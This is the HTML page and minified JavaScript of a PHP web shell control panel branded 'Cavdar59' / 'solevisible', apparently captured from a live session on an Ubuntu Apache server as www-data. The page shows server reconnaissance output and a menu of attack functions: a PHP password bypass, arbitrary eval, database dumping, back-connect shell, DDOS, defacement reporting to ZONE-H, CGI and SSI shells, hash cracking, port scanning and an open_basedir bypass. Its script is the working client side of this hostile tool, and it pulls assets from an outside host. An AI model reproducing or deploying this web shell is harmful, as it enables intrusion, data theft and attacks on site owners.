o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" style="overflow: visible;"><form style="display:none;" id="dlForm" action="" target="_blank" method="post">
<input type="hidden" name="a" value="dlfile">
<input type="hidden" name="c" value="">
<input type="hidden" name="file" value="">
</form>
<input type="file" style="display:none;" id="importFileBtn" onchange="importConfig(event);">
<div id="a_loader" style="display: none;"><img src="http://solevisible.com/images/loader.svg"></div>


<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/"><input type="hidden" name="alfa1" value=""><input type="hidden" name="alfa2" value=""><input type="hidden" name="alfa3" value=""><input type="hidden" name="alfa4" value=""><input type="hidden" name="alfa5" value=""><input type="hidden" name="alfa6" value=""><input type="hidden" name="alfa7" value=""><input type="hidden" name="alfa8" value=""><input type="hidden" name="alfa9" value=""><input type="hidden" name="alfa10" value=""><input type="hidden" name="charset" value="Windows-1251">
</form>
<div id="hidden_sh"><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">Cavdar59</span><br><small>Version: <span class="hidden_shell_version">4.1</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tbody><tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">33 [ www-data ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">33 [ www-data ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="Cavdar59" draggable="false" src="http://solevisible.com/images/alfa-iran.png"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b style="color:white;">7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </b><span class="header_vars"> Safe Mode: <span class="header_on">OFF</span></span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b style="color:white;">::1</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b style="color:white;"> ::1</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b stlye="color:white;">2023-02-12 22:22:52</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">Cant Read [ /etc/named.conf ]</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b stlye="color:white;">216.08 GB </b><span class="header_vars">Free:</span><b stlye="color:white;">182.58 GB [84%]</b></td>
</tr><tr><td height="18" colspan="2"><span class="header_vars">Useful : </span><span class="header_values" style="margin-left: 4px;">gcc</span><span class="header_values" style="margin-left: 4px;">cc</span><span class="header_values" style="margin-left: 4px;">ld</span><span class="header_values" style="margin-left: 4px;">make</span><span class="header_values" style="margin-left: 4px;">php</span><span class="header_values" style="margin-left: 4px;">perl</span><span class="header_values" style="margin-left: 4px;">tar</span><span class="header_values" style="margin-left: 4px;">gzip</span><span class="header_values" style="margin-left: 4px;">nc</span></td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" style="margin-left: 4px;">wget</span><span class="header_values" style="margin-left: 4px;">curl</span><span class="header_values" style="margin-left: 4px;">lwp-mirror</span></td>
</tr><tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b><span class="header_show_all">All Functions Accessible</span></b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span><span class="header_on"> ON </span> | <span class="header_vars">SSH2 : </span><span class="header_off"> OFF </span> | <span class="header_vars">Magic Quotes : </span><span class="header_off">OFF</span> | <span class="header_vars"> MySQL :</span><span class="header_off"> OFF </span> | <span class="header_vars">MSSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> PostgreSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> Oracle :</span><span class="header_off"> OFF </span> | <span class="header_vars"> CGI :</span> <span class="header_off" id="header_cgishell">OFF</span></td><td width="15%"><div id="alfa_solevisible"><center><a href="https://cavdar599.blogspot.com" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad &amp; Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars">Safe_mode_exec_dir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars"> Safe_mode_include_dir :</span><span class="header_none"> NONE </span></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b style="color:white;">Apache/2.4.52 (Ubuntu)</b></td>
</tr><tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd"><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)" path="/" href="#action=fileman&amp;path=/">/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)" path="/var/" href="#action=fileman&amp;path=/var/">var/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)" path="/var/www/" href="#action=fileman&amp;path=/var/www/">www/</a><a class="header_pwd" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)" path="/var/www/html/" href="#action=fileman&amp;path=/var/www/html/">html/</a> </span><a href="#action=fileman&amp;path=/var/www/html" onclick="g('FilesMan','/var/www/html','','','')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</tbody></table>
</div>
<div id="meunlist">
<ul>
<li><a id="menu_opt_bypass2021" href="#action=options&amp;path=/var/www/html/&amp;opt=bypass2021" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=bypass2021';g('bypass2021',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">2021 php password bypass</a></li>
<li><a id="menu_opt_proc" href="#action=options&amp;path=/var/www/html/&amp;opt=proc" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=proc';g('proc',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Process</a></li>
<li><a id="menu_opt_phpeval" href="#action=options&amp;path=/var/www/html/&amp;opt=phpeval" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=phpeval';g('phpeval',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Eval</a></li>
<li><a id="menu_opt_sql" href="#action=options&amp;path=/var/www/html/&amp;opt=sql" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=sql';g('sql',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SQL Manager</a></li>
<li><a id="menu_opt_dumper" href="#action=options&amp;path=/var/www/html/&amp;opt=dumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=dumper';g('dumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Database Dumper</a></li>
<li><a id="menu_opt_coldumper" href="#action=options&amp;path=/var/www/html/&amp;opt=coldumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=coldumper';g('coldumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Column Dumper</a></li>
<li><a id="menu_opt_hash" href="#action=options&amp;path=/var/www/html/&amp;opt=hash" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=hash';g('hash',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">En-Decoder</a></li>
<li><a id="menu_opt_connect" href="#action=options&amp;path=/var/www/html/&amp;opt=connect" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=connect';g('connect',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BC</a></li>
<li><a id="menu_opt_zoneh" href="#action=options&amp;path=/var/www/html/&amp;opt=zoneh" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=zoneh';g('zoneh',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ZONE-H</a></li>
<li><a id="menu_opt_dos" href="#action=options&amp;path=/var/www/html/&amp;opt=dos" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=dos';g('dos',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DDOS</a></li>
<li><a id="menu_opt_safe" href="#action=options&amp;path=/var/www/html/&amp;opt=safe" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=safe';g('safe',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ByPasser</a></li>
<li><a id="menu_opt_cgishell" href="#action=options&amp;path=/var/www/html/&amp;opt=cgishell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cgishell';g('cgishell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Cgi Shell</a></li>
<li><a id="menu_opt_ssiShell" href="#action=options&amp;path=/var/www/html/&amp;opt=ssiShell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=ssiShell';g('ssiShell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SSI SHELL</a></li>
<li><a id="menu_opt_cpcrack" href="#action=options&amp;path=/var/www/html/&amp;opt=cpcrack" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=cpcrack';g('cpcrack',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Hash Tools</a></li>
<li><a id="menu_opt_portscanner" href="#action=options&amp;path=/var/www/html/&amp;opt=portscanner" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=portscanner';g('portscanner',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Port Scaner</a></li>
<li><a id="menu_opt_basedir" href="#action=options&amp;path=/var/www/html/&amp;opt=basedir" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&amp;path='+c_+'&amp;opt=basedir';g('basedir',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Open BaseDir</a></li>
